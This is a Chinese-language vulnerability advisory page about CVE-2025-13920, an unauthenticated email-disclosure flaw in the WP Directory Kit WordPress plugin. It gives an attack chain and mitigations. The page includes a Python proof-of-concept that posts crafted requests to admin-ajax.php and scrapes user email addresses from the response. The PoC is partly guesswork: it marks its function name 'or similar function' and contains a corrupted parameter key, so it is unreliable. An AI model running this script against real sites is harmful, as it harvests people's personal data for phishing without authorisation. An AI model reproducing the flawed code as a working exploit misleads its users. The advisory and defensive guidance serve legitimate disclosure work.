IPBUF安全漏洞报告
English
CVE-2025-13920 CVSS 5.3 中危

CVE-2025-13920 WordPress WP Directory Kit敏感信息泄露漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-13920
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Directory Kit WordPress插件

相关标签

敏感信息泄露WordPress插件漏洞WP Directory Kit未授权访问信息枚举CVE-2025-13920AJAX漏洞WordPress安全

漏洞概述

CVE-2025-13920是WordPress的WP Directory Kit插件中的一个敏感信息泄露漏洞。该漏洞存在于插件的wdk_public_action AJAX处理器中,影响版本从初始版本到1.4.9。攻击者无需任何认证即可利用此漏洞,通过构造特定的AJAX请求,非法获取具有Directory Kit特定用户角色的用户邮箱地址等敏感信息。由于该漏洞无需认证即可利用,且可远程发起攻击,因此对使用该插件的WordPress网站构成严重安全威胁。敏感信息的泄露可能导致用户隐私暴露,进而被用于社会工程攻击、钓鱼攻击或其他恶意活动。

技术细节

WP Directory Kit插件的wdk_public_action AJAX端点存在访问控制缺陷。该端点本应仅对授权用户开放,但实际上任何未认证的访问者都可以通过发送特制的AJAX请求来触发该处理器。攻击者可以通过构造包含特定参数的POST请求来枚举和提取数据库中具有Directory Kit特定角色(如目录管理员、目录编辑者等)的用户邮箱地址。漏洞的核心问题在于服务器端缺少对AJAX请求的权限验证逻辑,未正确检查当前用户是否具有访问敏感用户数据的权限。攻击者只需知道目标网站URL和插件已启用,无需任何凭据即可发起攻击。

攻击链分析

STEP 1
步骤1
攻击者扫描目标WordPress网站,识别是否安装并启用了WP Directory Kit插件(版本<=1.4.9)
STEP 2
步骤2
攻击者构造恶意的AJAX请求,发送到/wp-admin/admin-ajax.php端点,指定action参数为wdk_public_action
STEP 3
步骤3
请求中包含针对user/User模型的查询参数,尝试匹配具有Directory Kit特定角色的用户
STEP 4
步骤4
由于服务器端缺少权限验证,未认证的请求被服务器接受并返回用户邮箱等敏感信息
STEP 5
步骤5
攻击者提取响应中的邮箱地址,用于后续的社会工程攻击、钓鱼攻击或账号接管尝试

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13920 PoC - WP Directory Kit Information Disclosure # Target: WordPress site with WP Directory Kit plugin <= 1.4.9 def exploit(target_url): """ Exploit the wdk_public_action AJAX endpoint to extract user emails """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to trigger user data extraction data = { 'action': 'wdk_public_action', 'wdk_public_action_function': 'get_user_data', # or similar function 'wdk_public_action_model': 'user/User', # target model 'wdk_public_action_method': 'get_results', 'wdk_public_action_data': { 'is廷rolematch': 'directory_admin', # Directory Kit specific role 'wdk_countryname': 'all', 'order_by': 'user_email', 'order_method': 'ASC' } } print(f"[*] Targeting: {target_url}") print(f"[*] Sending exploit request...") try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response: {response.text[:500]}") # Extract emails from response import re emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', response.text) if emails: print(f"\n[+] Found {len(emails)} email addresses:") for email in emails: print(f" - {email}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

WP Directory Kit <= 1.4.9 (所有版本)

防御指南

临时缓解措施
在无法立即升级的情况下,可通过以下方式临时缓解:1) 使用WAF(Web应用防火墙)规则阻止对admin-ajax.php的异常wdk_public_action请求;2) 限制非管理员用户访问wp-admin目录;3) 临时禁用Directory Kit的用户角色功能;4) 监控服务器日志中的异常AJAX请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表